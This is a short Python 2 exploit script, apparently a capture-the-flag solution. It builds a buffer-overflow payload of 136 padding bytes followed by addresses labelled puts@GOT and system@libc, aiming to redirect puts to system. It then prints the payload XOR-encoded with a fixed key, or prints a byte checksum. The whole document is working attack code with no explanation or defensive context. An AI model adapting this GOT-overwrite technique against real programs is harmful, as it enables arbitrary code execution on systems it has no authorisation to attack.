#!/usr/bin/env python
from sys import argv
from struct import pack,unpack

def xor(a,b):
  return "".join(chr(ord(a[i])^ord(b[i%len(b)])) for i in range(len(a)))

#                       puts@GOT                      system@libc
a = "A"*136 + pack("<I",0x80499d0-136-4) + pack("<I",0x001672a0)

if len(argv)>1:
  print sum(unpack("<b",a[i])[0] for i in range(len(a)) if i%4==0)
else:
  print xor(a, pack("<I",0xdefaced))
